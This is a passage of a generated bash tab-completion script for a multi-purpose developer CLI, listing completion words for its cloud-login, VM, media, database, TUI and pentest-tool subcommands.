ap-northeast-2 me-south-1 ap-northeast-1 sa-east-1 ap-east-1 ap-southeast-1 ap-southeast-2 ap-southeast-3 ap-southeast-4 us-east-1 us-east-2")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'clean package-caches\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'vm windows\'*\'--version\')' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "11 11l 11e 10 10l 10e 8e 7e ve xp 2025 2022 2019 2016 2012 2008 2003")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'tui development git\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'network https-proxy\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help --https-port --proxy-target-host --proxy-target-port --ssl-certificate -h")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'pentest aircrack-ng\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'pentest netdiscover\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'tui development ecs\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'start-simple-server\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help --port -h")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'tui development gcs\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'tui development prs\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'gcp login\'*\'--project\')' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "$(gcloud projects list | awk \'NR > 1 {print $1}\')")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'aws login\'*\'--profile\')' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "$(awk \'/\[profile*/ { print substr($2, 1, length($2)-1);}\' ~/.aws/config)")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'network mermaid-api\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'tui sandbox regect\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'document merge-pdf\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -A directory -A file -W "$(_dtools_completions_filter "--help --input-file -h -i")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'tui development s3\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'aws secretsmanager\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h create-secret list-secrets show-secret")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'pentest msfconsole\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'gcp vertex predict\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--endpoint-name --file --help --location -e -f -h -l")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'video split-scenes\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -A file -W "$(_dtools_completions_filter "--content-threshold --fade-threshold --help --keep-duration -h")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'aws login\'*\'--region\')' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "ap-south-2 ap-south-1 eu-south-1 eu-south-2 me-central-1 ca-central-1 eu-central-1 eu-central-2 us-west-1 us-west-2 af-south-1 eu-north-1 eu-west-3 eu-west-2 eu-west-1 ap-northeast-3 ap-northeast-2 me-south-1 ap-northeast-1 sa-east-1 ap-east-1 ap-southeast-1 ap-southeast-2 ap-southeast-3 ap-southeast-4 us-east-1 us-east-2")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'git search-history\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'network warc-2-zim\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--behaviors --exclude --help --keep --limit --name --output --shm-size --url --wait-until --workers -h")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'tui network elinks\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'clean build-caches\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -A directory -W "$(_dtools_completions_filter "--help -h")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'network mitm-proxy\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help --port --script-file -h")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'generate-password\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--copy-to-clipboard --help -c -h")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'tui misc dev-chat\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'pentest bettercap\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'tui data explorer\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'video boost-audio\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -A file -W "$(_dtools_completions_filter "--help --multiplier --output-file -h")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'tui dev-help wiki\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'tui misc calendar\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'tui network proxy\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'network tcp-proxy\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help --proxy-target-host --proxy-target-port --tcp-host --tcp-port -h")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'tui docker docker\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'tui sandbox desed\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'tui misc jellyfin\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'tui misc weather\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'tui misc linutil\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'pentest arpspoof\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'document convert\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -A directory -A file -W "$(_dtools_completions_filter "--help --output-file --source-format --target-format -h")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'pentest ifconfig\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'date-to-iso-8601\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'vm mac\'*\'--version\')' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "15 14 13 12 11")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'java set-version\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h 11 17 21 8")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'tui misc servarr\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'tui network ping\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'tui network lynx\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'ai open-llama-ui\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'tui sandbox play\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h awk grep sed")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'pentest maltego\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'tui sandbox jqp\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -A file -W "$(_dtools_completions_filter "--help -h")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'clean bleachbit\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'vm linux\'*\'--dist\')' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "alma alpine arch cachy centos debian fedora gentoo kali kubuntu mint manjaro mx nixos suse oracle rocky slack tails ubuntu ubuntus xubuntu")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'install ansible\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'tui network w3m\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'video rip-audio\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -A file -W "$(_dtools_completions_filter "--help --output-file --title -h")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'tui development\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h drft ecs gama gcs git jira journal multi-host-log-viewer openapi prs readme s3 tail-logs terraform wrkflw")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'real-time-plot\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'video duration\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -A file -W "$(_dtools_completions_filter "--help -h")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'pentest crunch\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'aws console\'*\'-s\')' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "$(python -c $\'import boto3\nfor service in boto3.Session().get_available_services(): print(service)\' | grep -v \'codestar\|honeycode\|mobile\|worklink\')")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'install docker\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'tui monitoring\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h kernel-monitor pihole-monitor system-monitor")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'tui misc piano\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'aws console\'*\'-r\')' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "ap-south-2 ap-south-1 eu-south-1 eu-south-2 me-central-1 ca-central-1 eu-central-1 eu-central-2 us-west-1 us-west-2 af-south-1 eu-north-1 eu-west-3 eu-west-2 eu-west-1 ap-northeast-3 ap-northeast-2 me-south-1 ap-northeast-1 sa-east-1 ap-east-1 ap-southeast-1 ap-southeast-2 ap-southeast-3 ap-southeast-4 us-east-1 us-east-2")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'aws console\'*\'-p\')' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "$(awk \'/\[profile*/ { print substr($2, 1, length($2)-1);}\' ~/.aws/config)")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'ntfy reference\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'ntfy subscribe\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help --sound -h -s")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'tui misc slack\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'db bigquery\'*\'-l\')' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "africa-south1 asia-east1 asia-east2 asia-northeast1 asia-northeast2 asia-northeast3 asia-south1 asia-south2 asia-southeast1 asia-southeast2 australia-southeast1 australia-southeast2 europe-central2 europe-north1 europe-north2 europe-southwest1 europe-west1 europe-west10 europe-west12 europe-west2 europe-west3 europe-west4 europe-west6 europe-west8 europe-west9 me-central1 me-central2 me-west1 northamerica-northeast1 northamerica-northeast2 northamerica-south1 southamerica-east1 southamerica-west1 us-central1 us-east1 us-east4 us-east5 us-south1 us-west1 us-west2 us-west3 us-west4")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'tui misc notes\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'tui data kafka\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'gcp artifacts\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h list-images list-repositories")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'video youtube\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--audio-only --help --playlist -h")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'pentest ngrok\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'view-markdown\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -A file -W "$(_dtools_completions_filter "--help -h")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'elastic start\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'epoch-to-date\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'date-to-epoch\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'random-float\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help --max --min --precision -h")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'record-shell\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -A directory -A file -W "$(_dtools_completions_filter "--help --no-conversion --speed -h")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'clean docker\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'tui dev-help\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h stack-overflow wiki")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'aws login\'*\'-r\')' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "ap-south-2 ap-south-1 eu-south-1 eu-south-2 me-central-1 ca-central-1 eu-central-1 eu-central-2 us-west-1 us-west-2 af-south-1 eu-north-1 eu-west-3 eu-west-2 eu-west-1 ap-northeast-3 ap-northeast-2 me-south-1 ap-northeast-1 sa-east-1 ap-east-1 ap-southeast-1 ap-southeast-2 ap-southeast-3 ap-southeast-4 us-east-1 us-east-2")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'install java\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'aws login\'*\'-p\')' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "$(awk \'/\[profile*/ { print substr($2, 1, length($2)-1);}\' ~/.aws/config)")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'elastic stop\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'elastic init\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'gcp location\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h africa-south1 asia-east1 asia-east2 asia-northeast1 asia-northeast2 asia-northeast3 asia-south1 asia-south2 asia-southeast1 asia-southeast2 australia-southeast1 australia-southeast2 europe-central2 europe-north1 europe-north2 europe-southwest1 europe-west1 europe-west10 europe-west12 europe-west2 europe-west3 europe-west4 europe-west6 europe-west8 europe-west9 me-central1 me-central2 me-west1 northamerica-northeast1 northamerica-northeast2 northamerica-south1 southamerica-east1 southamerica-west1 us-central1 us-east1 us-east4 us-east5 us-south1 us-west1 us-west2 us-west3 us-west4")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'gcp login\'*\'-l\')' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "africa-south1 asia-east1 asia-east2 asia-northeast1 asia-northeast2 asia-northeast3 asia-south1 asia-south2 asia-southeast1 asia-southeast2 australia-southeast1 australia-southeast2 europe-central2 europe-north1 europe-north2 europe-southwest1 europe-west1 europe-west10 europe-west12 europe-west2 europe-west3 europe-west4 europe-west6 europe-west8 europe-west9 me-central1 me-central2 me-west1 northamerica-northeast1 northamerica-northeast2 northamerica-south1 southamerica-east1 southamerica-west1 us-central1 us-east1 us-east4 us-east5 us-south1 us-west1 us-west2 us-west3 us-west4")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'pentest nmap\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'pentest veil\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'gcp login\'*\'-p\')' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "$(gcloud projects list | awk \'NR > 1 {print $1}\')")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'db bigquery\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help --location --project -h -l -p")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'db postgres\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--database --dump --dump-to-dbml --help --persistent --persistent-dir-prefix --port --schema --tui --wipe-persistent-data -h -s")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'gcp project\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "$(gcloud projects list | awk \'NR > 1 {print $1}\') --help -h")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'aws profile\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "$(cat ~/.aws/config | awk \'/\[profile*/ { print substr($2, 1, length($2)-1); }\') --help -h")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'plot\'*\'--file\')' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -A file -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'tui ai elia\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'plot\'*\'--type\')' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "line bar")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'tui sandbox\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h desed jqp play regect")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'aws console\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help --profile --region --service -h -p -r -s")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'tui data db\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'tui network\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h api-client bluetooth-manager carbonyl elinks full-browser http-load-generator http-request-client http-request-client-2 lynx mitm-proxy network-manager ping proxy proxymock w3m wireguard-config")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'tui docker\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h docker docker-layer-analyzer kubernetes")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'clean logs\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'aws region\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h af-south-1 ap-east-1 ap-northeast-1 ap-northeast-2 ap-northeast-3 ap-south-1 ap-south-2 ap-southeast-1 ap-southeast-2 ap-southeast-3 ap-southeast-4 ca-central-1 eu-central-1 eu-central-2 eu-north-1 eu-south-1 eu-south-2 eu-west-1 eu-west-2 eu-west-3 me-central-1 me-south-1 sa-east-1 us-east-1 us-east-2 us-west-1 us-west-2")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'random-int\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help --max --min -h")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'vm windows\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--cpu-cores --disk-size --help --persistent --persistent-dir-prefix --ram-size --share-directory --version --wipe-persistent-data -h")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'gcp vertex\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h deploy-model list-endpoints predict tail-endpoint-logs")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'aws login\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help --profile --region -h -p -r")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'gcp login\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help --location --project -h -l -p")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'aws shell\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'aws logs\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h list-log-groups query-log-groups tail-log-group")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'document\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h convert decrypt-pdf merge-pdf")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'db mysql\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--database --dump --dump-to-dbml --help --persistent --persistent-dir-prefix --port --tui --wipe-persistent-data -h")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'vm linux\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--cpu-cores --disk-size --dist --help --image-url --no-gui --persistent --persistent-dir-prefix --ram-size --rdp-password --rdp-user --share-directory --use-rdp --wipe-persistent-data -h")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'play-mp3\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -A directory -A file -W "$(_dtools_completions_filter "--help -h")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'tui misc\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h ascii-theater calendar dev-chat file-manager find-and-replace jellyfin linutil notes piano presentation screensaver servarr slack visualizations visualizations-2 weather youtube-music youtube-music-2")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'tui data\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h database-ide db explorer jupyter-notebook kafka")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'aws ssm\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h create-parameter delete-parameter get-parameter list-parameters 